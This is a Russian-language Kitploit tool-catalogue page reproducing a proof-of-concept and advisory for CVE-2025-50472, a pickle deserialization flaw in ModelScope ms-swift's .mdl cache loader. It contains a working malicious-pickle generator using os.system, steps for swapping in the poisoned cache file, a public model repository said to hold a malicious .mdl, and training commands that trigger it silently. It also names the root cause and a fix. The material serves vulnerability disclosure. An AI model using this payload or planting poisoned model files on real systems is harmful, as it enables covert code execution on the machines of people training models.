Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-50472 — Эксплойт proof-of-concept для CVE-2025-50472, уязвимость десериализации RCE в ModelFileSystemCache из ModelScope ms-swift через вредоносные файлы .mdl. | Kitploit
Инструменты/GitHubGitHub/before-rain/cve-2025-50472
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Эксплойт proof-of-concept для CVE-2025-50472, уязвимость десериализации RCE в ModelFileSystemCache из ModelScope ms-swift через вредоносные файлы .mdl.

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-50472

Уязвимость удаленного выполнения кода в ModelScope Ms-Swift ModelFileSystemCache из-за десериализации недоверенных данных

RCE PoC

Я загрузил репозиторий с вредоносным файлом .mdl в ModelScope для тестирования. Его можно использовать напрямую во время тестирования. Ссылка: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

image

Файл .mdl содержит встроенный вредоносный код, но на ModelScope не отображается предупреждение безопасности.

PoC Code:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

Процедура воспроизведения проблемы следующая:

  1. Модель загружается

    p1
  2. После выполнения вредоносного кода обучение продолжается нормально без прерываний

    image
  3. Вредоносная нагрузка успешно выполняется

    image

1. Общий обзор и последствия уязвимости:

Библиотека modelscope/ms-swift версии до 2.6.1 уязвима к выполнению произвольного кода через десериализацию недоверенных данных в функции load_model_meta() класса ModelFileSystemCache(). Злоумышленники могут выполнять произвольный код и команды, создав вредоносную сериализованную нагрузку .mdl, используя pickle.load() на данных из потенциально недоверенных источников. Эта уязвимость позволяет выполнять удаленный код (RCE), обманывая жертв, заставляя их загрузить, казалось бы, безвредную контрольную точку во время обычного процесса обучения, тем самым позволяя злоумышленникам выполнять произвольный код на целевой машине.

Обратите внимание, что файл нагрузки является скрытым, что затрудняет обнаружение подделки жертвой. Более того, в процессе обучения модели после загрузки файла .mdl и выполнения произвольного кода обычный процесс обучения остается незатронутым, то есть пользователь не знает о выполнении произвольного кода.

2. Уязвимый продукт

  • Продукт: modelscope ms-swift
  • Модуль: ModelFileSystemCache
  • Файл: swift/hub/utils/caching.py
  • Версия: <=2.6.1
  • Постоянная ссылка GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Анализ первопричины

  • Подробное описание уязвимости: Уязвимость возникает из-за небезопасной десериализации недоверенных данных. Скрипт использует pickle.load для загрузки скрытого файла кэша и уязвим к выполнению кода.

  • Поток кода от ввода до уязвимого условия:

    • Во время обучения модели пользователь использовал метод загрузки модели по умолчанию, чтобы получить модель из ModelScope. Модель сохранялась по пути ~/.cache/modelscope/hub/xx/xx, где в каталоге модели находился файл кэша .mdl, содержащий основную информацию, такую как имя модели.
    • Затем пользователь использовал загруженную модель для тонкой настройки или других процедур обучения.
    • Когда скрипт caching.py десериализовал файл .mdl, выполнялся встроенный в файл вредоносный код.
  • Точка внедрения: Уязвимость возникает в точке вызова pickle.load. Постоянная ссылка GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Предлагаемые исправления: При обработке файлов конфигурации (а не файлов моделей) рекомендуется использовать более безопасные методы разбора файлов, такие как yaml.safe_load(yaml_file) или json.load, чтобы снизить риск выполнения произвольного кода.

4. PoC

  1. Запустите exploit.py для создания вредоносного файла кэша .mdl, который создаст каталог в системе жертвы:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Замените исходный файл .mdl в каталоге модели на вредоносный файл, созданный выше.

  2. Когда во время обучения параметр model_id_or_path указывает на локальный каталог модели, измененный файл .mdl по указанному пути может привести к удаленному выполнению кода (RCE). Важно, такая модификация не нарушает нормальный рабочий процесс обучения, что делает атаку RCE скрытной и труднообнаружимой для пользователей.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Авторы

Hao Fan (凡浩) и Yu Rong (戎誉)

Скачать инструмент